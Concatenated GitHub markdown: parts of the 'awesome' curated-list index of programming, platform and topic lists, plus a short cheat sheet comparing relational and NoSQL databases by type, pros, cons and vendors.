[Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. ## Related - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.

# RELATIONAL VS NON-RELATIONAL CHEAT SHEET `relational vs non-relational` _are the two main types of databases._ * [RELATIONAL](https://github.com/JeffDeCola/my-cheat-sheets/tree/master/software/development/software-architectures/database/relational-versus-non-relational-cheat-sheet#relational--sql--rdbms) * [NON-RELATIONAL](https://github.com/JeffDeCola/my-cheat-sheets/tree/master/software/development/software-architectures/database/relational-versus-non-relational-cheat-sheet#non-relational--nosql) * [KEY VALUE STORE](https://github.com/JeffDeCola/my-cheat-sheets/tree/master/software/development/software-architectures/database/relational-versus-non-relational-cheat-sheet#key-value-store) * [WIDE COLUMN STORES](https://github.com/JeffDeCola/my-cheat-sheets/tree/master/software/development/software-architectures/database/relational-versus-non-relational-cheat-sheet#wide-column-stores) * [DOCUMENT STORES](https://github.com/JeffDeCola/my-cheat-sheets/tree/master/software/development/software-architectures/database/relational-versus-non-relational-cheat-sheet#document-stores) * [GRAPH DATABASES](https://github.com/JeffDeCola/my-cheat-sheets/tree/master/software/development/software-architectures/database/relational-versus-non-relational-cheat-sheet#graph-databases) * [SEARCH ENGINES](https://github.com/JeffDeCola/my-cheat-sheets/tree/master/software/development/software-architectures/database/relational-versus-non-relational-cheat-sheet#search-engines) Documentation and reference, * A great list of using [go with databases](https://github.com/gostor/awesome-go-storage) View my entire list of cheat sheets on [my GitHub Webpage](https://jeffdecola.github.io/my-cheat-sheets/). ## RELATIONAL / SQL / RDBMS Basically, a relational database is a collection of tables. Data is displayed in the rows and columns of the table. Each table has a schema that represents the fixed attributes and data types that the items in the table will have. The tables have keys associated with them, which are used to identify specific columns or rows. A Structured Query Language (SQL) statements provide the functionality for managing the database (reading, creating, updating, and deleting data). Pros, * Well-documented and mature. * Sold and maintained by a number of established corporations. * SQL standards are well-defined and commonly accepted. * Very reliable and ACID-compliant. Cons, * Schemas rigidly define how all data inserted into the database must be typed and composed. * Don’t work well — or at all — with unstructured or semi-structured data. * Not suited for large analytics or IoT event loads. * The tables in your relational database will not necessarily map one-to-one with an object or class representing the same data. * Migration difficult. Players, * Oracle * MySQL * Microsoft SQL Server * [PostgreSQL](https://github.com/JeffDeCola/my-cheat-sheets/tree/master/software/development/software-architectures/database/postgresql-cheat-sheet) * DB2 ## NON-RELATIONAL / NoSQL NoSQL databases can be schema agnostic, allowing unstructured and semi-structured data to be stored and manipulated. Pro, * Handles massive data. * Schema-free data models. * More flexible and easier to administer. * Generally more horizontally scalable and fault-tolerant. * Data can easily be distributed across different nodes. Cons, * Less widely adopted and mature than RDBMS solutions. * Not very good for complex data. * There are a range of formats and constraints specific to each database type. NoSQL/Non-relational databases can take a variety of forms. ### KEY VALUE STORE Simple and elegant and crazy fast. Low-latency data access at any scale. Players, * [redis](https://github.com/JeffDeCola/my-cheat-sheets/tree/master/software/development/software-architectures/database/redis-cheat-sheet) * Amazon DynamoDB ### WIDE COLUMN STORES Store data in a single column. More like a multi-dimensional key-value store. Good for massive scale and massive distributed systems. Players, * Cassandra * Scylla * HBase Scylla and Cassandra use an SQL variant called CQL for data definition and manipulation, making them straightforward to those already familiar with RDBMS. ### DOCUMENT STORES Store data in the form of JSON documents. Document stores are similar to key-value or wide column stores, but the document name is the key and the contents of the document, whatever they are, are the value. Players, * MongoDB * Couchbase ### GRAPH DATABASES Represent data as a network of related nodes or objects in order to facilitate data visualizations and graph analytics. Players, * Neo4J * Datastax Enterprise Graph ### SEARCH ENGINES Similar to document stores, but with a greater emphasis on making your unstructured or semi-structured data easily accessible via text-based searches. Players, * Elasticsearch * Splunk * Solr

<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> <br> <br> <p> <a href="https://triplebyte.com/a/aZxgKGg/d"> <b>Looking for a job?</b> <br> No resume needed. Just prove you can code. <br> <div> <img src="https://user-images.githubusercontent.com/170270/66039619-9363c380-e53f-11e9-9b56-ae6e8ab336ba.png" width="260" alt="Tripblebyte"> </div> </a> _{<i>Clicking this helps fund the Awesome project</i>} </p> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [Assembler](https://github.com/lurumdare/awesome-asm#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/ooade/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested 